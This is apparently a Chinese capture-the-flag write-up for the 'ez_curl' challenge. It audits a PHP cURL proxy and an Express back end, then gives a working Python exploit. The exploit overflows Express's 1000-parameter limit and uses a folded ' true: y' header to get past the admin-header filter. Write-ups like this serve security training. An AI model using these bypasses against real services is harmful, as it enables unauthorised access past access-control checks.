ez_curl

首先点击页面是php代码审计

```php
<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
    $offset = stripos($headers[$i], ':');
    $key = substr($headers[$i], 0, $offset);
    $value = substr($headers[$i], $offset + 1);
    if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
        die('try hard');
    }
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
```

```
$result = curl_exec($ch);
curl_close($ch);
echo $result;
```

并且给了一个附件

```
const express = require('express');

const app = express();

const port = 3000;
const flag = process.env.flag;

app.get('/flag', (req, res) => {
    if(!req.query.admin.includes('false') && req.headers.admin.includes('true'))
{
        res.send(flag);
    }else{
        res.send('try hard');
    }
});

app.listen({ port: port , host: '0.0.0.0'});
```

通过app.js的审计得到是一个express框架代码

首先对喂给ai进行代码逐行翻译

```
<?php
```

```php
// 输出当前文件的内容
highlight_file(__FILE__);

// 设置一个URL变量，指向后端服务的某个端点
$url = 'http://back-end:3000/flag?';

// 从输入流中获取请求的内容
$input = file_get_contents('php://input');

// 将请求内容解码成JSON对象并提取headers属性，转换为数组
$headers = (array)json_decode($input)->headers;

// 遍历headers数组
for($i = 0; $i < count($headers); $i++){
    // 找到header中冒号的位置
    $offset = stripos($headers[$i], ':');

    // 提取header的键（冒号前的部分）
    $key = substr($headers[$i], 0, $offset);

    // 提取header的值（冒号后的部分）
    $value = substr($headers[$i], $offset + 1);

    // 如果键包含'admin'并且值包含'true'，则终止程序执行并输出'try hard'
    if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
        die('try hard');
    }
}

// 从请求内容中提取params属性，转换为数组
$params = (array)json_decode($input)->params;

// 将参数数组编码为URL查询字符串，并附加到URL变量后
$url .= http_build_query($params);

// 在URL末尾附加一个参数'admin=false'
$url .= '&admin=false';

// 初始化一个cURL会话
$ch = curl_init();

// 设置cURL会话的URL
curl_setopt($ch, CURLOPT_URL, $url);

// 设置cURL会话的HTTP头
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// 设置cURL会话的超时时间为5000毫秒
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);

// 设置cURL会话不返回响应体
curl_setopt($ch, CURLOPT_NOBODY, FALSE);

// 执行cURL会话
$result = curl_exec($ch);
```

```
// 关闭cURL会话
curl_close($ch);

// 输出cURL会话的结果
echo $result;
?>
```

在这里有过滤，要求admin传参不包含'false'并且headers请求头里的admin字段包含'true'

对于flase因为是拼接上去的，可以参考网上的思路，因为express的parameterLimit默认为1000，但添加足够的没用的参数就可以挤掉原有的拼接的&admin=flase。

后一个条件，要求headers里的admin字段包含'true'就行了

这个条件在之前的php中还有过滤，要求传入不能带入admin+true

参考了网上的思路：header 字段可以通过在每一行前面至少加一个SP 或 HT 来扩展到多行。以此绕过对 headers 的过滤

例如，假设请求头如下：

```
swift复制代码{
  "headers": [
    "admin: \n true"
  ],
  "params": {
    "id": 1
  }
}
```

在这种情况下，代码在检查 `stripos($headers[$i], ':')` 时，`$key` 为 `"admin"`，但是 `$value` 为 `"\n true"`。因为字符串 `"\n true"` 中 `stripos` 不会直接找到 "true"，因此绕过了检查。

但是这样构造却并没有绕过

这是wp中的绕过

```
xx:xx\nadmin: true
```

这是我的绕过

```
admin: \n true
```

百思不得其解，于是又各种上网查，得到一种新方法

```
"admin: x", " true: y"
```

该headers在nodejs解析的时候，会得到如下数据：

```
{
  "admin": "x true y"
}
```

不过据查阅，根据RFC 7230(HTTP/1.1协议的定义)的规定，规定了 field-name 是由一个或多个打印的 ASCII 字符组成，不包括分隔符，包括空格。因此，如果一个 field-name 的第一个字符是空格，那么这个 HTTP header 是非法的，应该被服务器或客户端忽略或拒绝，然而，Node.js 在处理这类情况时通常是宽容的。

所以\n和x，y的构造应该是一个思路

参考后的playload如下，进行绕过得到flag

```
import requests
import json
from flask.sessions import SecureCookieSessionInterface

url = "http://61.147.171.105:57701/"

datas = {"headers": ["admin: x", " true: y", "Content-Type: application/json"],
         "params": {"admin": "true"}}

for i in range(1020):
    datas["params"]["x" + str(i)] = i

headers = {
    "Content-Type": "application/json"
}
json1 = json.dumps(datas)
print(json1)
resp = requests.post(url, headers=headers, data=json1)

print(resp.content)
```